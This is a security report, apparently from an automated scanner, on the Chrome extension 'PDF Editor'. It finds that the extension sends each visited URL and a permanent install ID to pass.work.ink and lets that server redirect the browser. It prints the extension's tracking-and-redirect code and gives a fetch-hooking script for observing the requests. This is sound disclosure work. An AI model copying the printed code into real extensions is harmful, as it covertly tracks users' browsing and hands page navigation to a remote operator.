Is PDF Editor safe?

High risk

PDF Editor is high risk. On every HTTP or HTTPS page, PDF Editor sends the full URL, encoded and linked to a permanent install ID, to pass.work.ink. Undisclosed, unrelated to PDF editing. A planted marker confirmed the URL leaves the device.…

78Risk

AI-generated. Findings may contain errors. Those marked Verified have been manually reviewed.

Publishers can request a review.

Findings

Every page you visit is transmitted to pass.work.ink with a persistent ID

On every HTTP or HTTPS page, PDF Editor sends the full URL, encoded and linked to a permanent install ID, to pass.work.ink.

Undisclosed, unrelated to PDF editing.

A planted marker confirmed the URL leaves the device.

Severity
High unwanted
Type
Unexpected
CWE
CWE-359
Source
Dynamic sandbox
What actually happens
You did this

You navigate to any web page.

The extension did this

The extension immediately sends the full URL of that page to pass.work.ink along with a permanent identifier unique to your install.

This happens at document_start, before the page finishes loading, and without any action on your part beyond visiting the page.

Captured request
GEThttps://pass.work.ink/redirect/aHR0cHM6Ly9lbi53aWtpcGVkaWEub3JnL3dpa2kvQ0FOQVJZX1RFU1RfQklSRF8xMjM0NQ==?fingerprint=pdfeditor-06a1430f-81c9-4a6c-af52-6883af34f5c5&adblockerInstalled=0&base64=1&json=1

JSON: {"noRedirect":true,"to":"the planted marker URL","timestamp":"2026-04-15T09:21:05.686Z"}

What the extension transmits on every page visit
  • The URL you are visiting
    https://en.wikipedia.org/wiki/Example_Page

    The page address, base64-encoded in the request path. Includes query parameters such as search terms, account IDs, or session tokens.

  • Your persistent install ID
    pdfeditor-06a1430f-81c9-4a6c-af52-6883af34f5c5

    A UUID prefixed 'pdfeditor-', generated once and stored permanently, sent on every request so the server can link all your visits over time.

  • Whether you have an ad blocker
    0

    The extension reports whether another ad-blocking extension is active in your browser.

The code that does this

The content script that runs on every page, as shipped:

Readable version

inject2.js — annotated readable version

// Runs at document_start on every HTTP/HTTPS page.// Step 1: get the current page URL.const currentUrl = window.location.href;if (!currentUrl || currentUrl.trim() === '' || !currentUrl.startsWith('http')) return;// Step 2: retrieve the persistent fingerprint UUID from the background.const fingerprint = await chrome.runtime.sendMessage({ type: 'getFingerprint' });// Step 3: check if an ad blocker is installed.const adblockerInstalled = (await chrome.runtime.sendMessage({ type: 'getAdblockerStatus' })) ? 1 : 0;// Step 4: transmit the visited URL (base64-encoded) + fingerprint to pass.work.ink.const response = await fetch(  `https://pass.work.ink/redirect/${encodeURIComponent(btoa(currentUrl))}` +  `?fingerprint=${encodeURIComponent(fingerprint)}&adblockerInstalled=${adblockerInstalled}&base64=1&json=1`);// Step 5: parse the JSON response.const result = await response.json();// Step 6: if the server tells us to redirect, navigate the tab to the server-specified URL.if (!result.noRedirect) {  window.location.href = result.to;}
Where your browsing data is sent
    • pass.work.ink

    Receives the full URL of every page visited, your persistent install ID, and IP address. Listed in the manifest's externally_connectable field, so the developer operates it.

Reproduce it yourself

Intercepts the fetch() call made by the PDF Editor content script and logs the visited URL and fingerprint from the outbound request. Run this in the DevTools console of any page while the extension is active to confirm the behavior.

Requires
  • Chrome with the PDF Editor extension installed
  • Chrome DevTools
pdf-editor-url-observer.js · js
// pdf-editor-url-observer.js// Hooks window.fetch to intercept the URL-exfiltration request made by// PDF Editor's inject2.js content script on every page load.(function() {  const origFetch = window.fetch;  window.fetch = async function(resource, init) {    const url = typeof resource === 'string' ? resource : resource?.url;    if (url && url.includes('pass.work.ink/redirect/')) {      // Decode the visited URL from the request path.      try {        const urlObj = new URL(url);        const encodedPath = urlObj.pathname.replace('/redirect/', '');        const visitedUrl = atob(decodeURIComponent(encodedPath));        const fingerprint = urlObj.searchParams.get('fingerprint');        const adBlocker = urlObj.searchParams.get('adblockerInstalled');        console.group('[PDF_EDITOR_TRACKER] Outbound request intercepted');        console.log('Visited URL sent to server:', visitedUrl);        console.log('Persistent fingerprint ID:', fingerprint);        console.log('Ad blocker detected:', adBlocker === '1' ? 'yes' : 'no');        console.log('Full request URL:', url);        console.groupEnd();      } catch (e) {        console.warn('[PDF_EDITOR_TRACKER] Failed to decode:', url, e);      }    }    return origFetch.apply(this, arguments);  };  console.log('[PDF_EDITOR_TRACKER] installed — navigate to any page to see captured requests.');})();
How to run it
  1. 1Install PDF Editor (deaiapbieocoklikiokamcdklicacgdo).
  2. 2Open any HTTP/HTTPS page.
  3. 3Open DevTools (F12), Console.
  4. 4Paste this script, press Enter.
  5. 5Load a page; console logs the URL sent to pass.work.ink with your fingerprint ID.

Remote server can redirect your browser to any URL on every page visit

On every page, PDF Editor contacts pass.work.ink and reads a JSON reply naming where to navigate.

If noRedirect is false, it redirects to any server-picked URL, unasked.

Observed replies say noRedirect:true; the mechanism is fully live.

Severity
High unwanted
Type
Unexpected
CWE
CWE-829
Source
Dynamic sandbox
What actually happens
You did this

You navigate to any web page.

The extension did this

The extension queries pass.work.ink and evaluates the server's response to decide whether to navigate your browser to a different URL.

If the server returns noRedirect:false, the extension replaces the current page with whatever URL the server specifies, without any warning or confirmation.

Captured request
GEThttps://pass.work.ink/redirect/aHR0cHM6Ly93d3cuZ29vZ2xlLmNvbS8=?fingerprint=pdfeditor-06a1430f-81c9-4a6c-af52-6883af34f5c5&adblockerInstalled=0&base64=1&json=1

HTTP 200 JSON: {"noRedirect":true,"to":"https://www.google.com/","timestamp":"2026-04-15T09:21:05.686Z"}

The code that does this

The redirect evaluation code in inject2.js:

Readable version

inject2.js — annotated

// Fetch the redirect instruction from the server.const response = await fetch(  `https://pass.work.ink/redirect/${encodeURIComponent(btoa(currentUrl))}` +  `?fingerprint=${encodeURIComponent(fingerprint)}&adblockerInstalled=${adblockerInstalled}&base64=1&json=1`);// Parse the JSON response.const instruction = await response.json();// instruction example: { noRedirect: true, to: 'https://www.google.com/', timestamp: '2026-04-15T09:21:05.686Z' }// If the server says to redirect, navigate to the server-specified URL.// The destination is entirely determined by the server's current response.if (!instruction.noRedirect) {  window.location.href = instruction.to;  // overrides the current page}
Current server behavior vs. capability

During our analysis session, pass.work.ink returned `noRedirect:true` for all 7 requests we captured, meaning no actual redirects occurred in our test. However, the redirect code path is fully active in the installed extension for all ~100K users. The server operator can activate redirects at any time by changing the `noRedirect` flag in responses, without any extension update or notification to users. The Chrome Web Store listing for PDF Editor does not mention this server-controlled navigation behavior.

Server controlling navigation decisions
    • pass.work.ink

    Returns JSON on every navigation naming whether and where to redirect. Listed in the manifest's externally_connectable field under work.ink, indicating the developer operates it.

Every visited URL and device fingerprint sent to pass.work.ink on each page load

Every page you visit triggers a background request sending its full URL plus a unique device ID to pass.work.ink.

The ID is generated at install and stored permanently, letting the operator link your browsing across sites and restarts.

Severity
Medium unwanted
Type
Unexpected
CWE
CWE-359
Source
Dynamic sandbox
What actually happens
You did this

You navigate to any page in the browser.

The extension did this

The extension without notifying the user sends the full page URL and your permanent device ID to pass.work.ink.

This happens on every navigation, including authenticated sessions and private pages.

Captured request
GEThttps://pass.work.ink/redirect/aHR0cHM6Ly93d3cuZ29vZ2xlLmNvbS8=?fingerprint=pdfeditor-1569a92b-47de-47fb-aca0-be7168936479&adblockerInstalled=0&base64=1&json=1
What's stored on your device
Contents
{  "fingerprint": "pdfeditor-1569a92b-47de-47fb-aca0-be7168936479"}
Receiving server
    • pass.work.ink

    Receives full browsing URL history and persistent device fingerprint for every page load. Also controls redirect destinations sent back to the extension.

What it can do

Permissions this extension asks for, as declared in version 1.0.4. Asking for a permission is not a finding on its own - it is what the extension can do if it chooses to.

  • Store data in your browser

    storage

Updated 30 September 2026deaiapbieocoklikiokamcdklicacgdo